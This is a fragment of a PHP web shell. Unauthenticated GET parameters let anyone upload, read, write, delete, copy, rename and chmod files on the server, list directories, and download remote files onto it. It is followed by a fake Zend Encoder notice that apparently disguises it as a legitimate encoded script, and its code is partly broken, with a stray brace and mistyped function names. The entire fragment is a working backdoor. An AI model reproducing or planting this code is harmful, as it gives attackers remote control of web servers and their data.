= (1024 * 14 * 1024 * 1024)) ? round ( $bytes / (1024 * 1024 * 1024 * 1024), 2 ) . " TB" : (($bytes >= (1024 * 1024 * 1024)) ? round ( $bytes / (1024 * 1024 * 1024), 2 ) . " GB" : (($bytes >= (1024 * 1024)) ? round ( $bytes / (1024 * 1024), 2 ) . " MB" : round ( $bytes / 1024, 2 ) . " KB")); return $size; } if (isset($_FILES['file']['name'])) { $di = basename ($_FILES['file']['name']); if (file_exists($di)) die("file $di exist, try other name"); if(move_uploaded_file($_FILES['file']['tmp_name'], $di)) { die ("up file: i ok"); } else die ("There was an error upl please try again!"); } elseif (isset($_GET['gm'])) { echo fileperms($_GET['gm']); exit; } elseif (isset($_GET['set'])) { chmod($_GET['set'],intval($_GET['v'],8)); die("set"); } elseif (isset($_GET['md'])) { mkdir($_GET['md']); die("md"); } elseif (isset($_GET['rd'])) { rmdir($_GET['rd']); die("rd"); } elseif (isset($_GET['m'])) { $fh = fopen($_GET['m'], 'w') or die("c't m-v"); fwrite($fh, $_GET['v']); fclose($fh); die("m-v"); } elseif (isset($_GET['r'])) readfile($_GET['r']) ; exit; } elseif (isset($_GET['d'])) { unlink($_GET['d']); die("d"); } elseif (isset($_GET['c'])) { copy($_GET['c'],$_GET['t']); die("c-t"); } elseif (isset($_GET['ct'])) { copy($mname,$_GET['t']); die("ct"); } elseif (isset($_GET['n'])) { rename($_GET['n'],$_GET['t']); die("n-t"); } elseif (isset($_GET['nt'])) { rename($mname,$_GET['nt']); die("nt"); } elseif (isset($_GET['iz']) || isset($_GET['izt'])) { if(isset($_GET['izt'])) { $d1 = file_get_contents($mname); $d2 = file_get_coents($_GET['izt']); } else { $d1 = file_get_contents($_GET['iz']); $d2 = file_get_contents($_GET['t']); } $izv = $d1 . $d2; if(isset($_GET['izt'])) $fn = $_GET['izt']; else $fn = $_GET['t']; $fh = fopen($fn, 'w') or die("not writable"); fwrite($fh, $izv); fclose($fh); die("iz-t or izt"); } elseif (isset($_GET['rm'])) { $url = $_GET['rm']; $file = fopen($url, "rb"); if (isset($_GET['t'])) $mname = $_GET['t']; else $mname = basename($url); if ($file) { $newf = fopen ($mname, "wb"); if ($newf) while(!feof($file)) { fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); }}; if ($file) fclose($file); if ($newf) fclose($newf); die("rm-t"); } elseif (isset($_GET['ff']) || isset($_GET['dir'])) { $mdir = "."; echo realpath($mdir).'|'; $dir = ""; if(isset($_GET['dir'])) { $mdir = $_GET['dir']; $dir=$_GET['dir'] . "/"; } $ddir = opendir($mdir); while($FileName = readdir($ddir)) { if ($FileName == ".") continue; $info = sprintf('%o',fileperms($mdir.'/'.$FileName)); echo $in.'<>'.$FileName.'<>'.rsize(filesize($mdir.'/'.$FileName)).'|'; } closedir($ddir); exit; } elseif (isset($_GET['upload'])) { $h = $_SERVER['PHP_SELF']; echo "
\n"; exit; } ?>\n"; print "This file was encoded by the Zend Encoder / Zend SafeGuard Suite
\n"; print "In order to run it, please install the freely available Zend Optimizer, version 2.1.0 or later.
\n"; print "In addition to performance-improvement, the Zend Optimizer also enables PHP to transparently load files encoded by the Zend Encoder or Zend SafeGuard Suite.
The Zend Optimizer is a freely-available product from Zend Technologies. Zend Technologies is the company that develops the scripting engine of PHP, also known as the Zend Engine.
EOM; print "